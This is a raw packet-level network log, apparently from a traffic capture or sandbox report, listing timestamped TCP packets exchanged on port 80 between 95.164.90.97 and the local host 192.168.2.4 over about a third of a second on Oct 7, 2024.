Oct 7, 2024 18:43:35.122597933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.122618914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.122629881 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.122642994 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.122730970 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.122785091 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.122792959 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.122838020 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.122842073 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.122848988 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.122872114 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.122893095 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.123220921 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.123230934 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.123265982 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.123276949 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.123683929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.123696089 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.123706102 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.123732090 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.123753071 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.123764038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.123800039 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.124592066 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.124602079 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.124610901 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.124619961 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.124635935 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.124644041 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.124644995 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.124663115 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.124686003 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.125614882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.125626087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.125634909 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.125668049 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.125679970 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.126250982 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.126296997 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.127681971 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.127700090 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.127722025 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.127732992 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.229588985 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229608059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229613066 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229619026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229624033 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229644060 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229657888 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229666948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229676008 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229686022 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229695082 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229703903 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229713917 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229722023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229727030 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.229731083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229739904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229749918 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229758978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229768038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229789972 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.229809046 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229809999 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.229816914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229825974 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229830027 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.229835987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.229844093 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.229871035 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.230400085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.230417013 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.230427027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.230438948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.230465889 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.230488062 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.230504990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.230673075 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.230870962 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.230880976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.230891943 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.230902910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.230912924 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.230923891 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.230926991 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.230971098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.231034040 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.231038094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.231108904 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.231591940 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.231602907 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.231614113 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.231620073 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.231637001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.231642962 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.231647015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.231658936 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.231671095 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.231689930 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.231753111 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.231770992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.231780052 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.231786966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.231791973 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.231813908 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.231837034 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.232436895 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.232491016 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.232661963 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.232806921 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.235264063 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.235342026 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.235510111 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.235672951 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.335346937 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.335371017 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.335391045 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.335401058 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.335412979 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.335422993 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.335433006 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.335444927 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.335448980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.335460901 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.335469961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.335479975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.335489035 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.335491896 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.335500002 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.335500002 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.335503101 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.335521936 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.335536003 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.335714102 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.335756063 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.335798025 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.335810900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.335849047 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.336086035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336096048 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336106062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336122036 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336132050 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.336133003 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336143017 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.336143017 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336154938 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336164951 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336168051 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.336175919 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336199999 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.336370945 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336381912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336393118 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336400032 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.336402893 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336407900 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.336414099 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336425066 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336431026 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.336456060 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.336631060 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336757898 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336767912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336779118 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336787939 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336793900 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.336798906 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336802006 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.336817980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336827993 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.336858034 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.336921930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336931944 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336941957 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336952925 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336956978 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.336963892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336967945 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.336973906 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.336992979 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.337007999 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.337296963 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.337306976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.337316990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.337354898 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.337377071 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.337419987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.337424994 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.337426901 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.337429047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.337445974 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.337456942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.337462902 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.337466955 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.337487936 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.337497950 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.343574047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343586922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343599081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343661070 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.343710899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343717098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343724012 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343735933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343745947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343750000 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.343759060 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343770981 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343772888 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.343784094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343796015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343799114 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.343807936 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343816996 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.343818903 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343833923 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.343837023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343847990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343856096 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.343882084 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.343951941 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343962908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343967915 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.343997002 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.344008923 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.344552994 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.344558954 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.344563961 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.344566107 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.344572067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.344603062 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.344624043 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.344681978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.344692945 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.344702959 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.344727993 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.344753981 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.344789982 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.344800949 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.344811916 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.344835043 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.344861031 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.420005083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420022964 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420033932 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420044899 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420054913 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420064926 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420074940 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420094013 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420104027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420114040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420124054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420134068 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420134068 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.420144081 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420154095 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420164108 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420175076 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420182943 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.420207024 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.420272112 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.420304060 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.439827919 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.439838886 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.439851999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.439862967 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.439872980 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.439882994 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.439892054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.439902067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.439958096 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.439985991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.439996004 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440033913 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.440048933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440058947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440068960 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440078974 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440088987 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440104961 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.440114975 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.440124035 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.440152884 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440162897 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440174103 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440181971 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440196037 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.440216064 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.440283060 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440294027 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440304041 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440314054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440325022 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.440354109 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.440622091 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440632105 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440646887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440656900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440666914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440681934 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.440682888 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440694094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440697908 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.440704107 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440717936 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.440721035 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440737009 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.440769911 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.440783978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440793991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440804005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.440824986 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.440849066 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.440990925 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441001892 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441013098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441031933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441040039 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.441041946 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441052914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441066027 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.441086054 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:35.441252947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441263914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441281080 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441288948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441293955 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441296101 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:35.441299915 CEST	80	51632	95.164.90.97	192.168.2.4
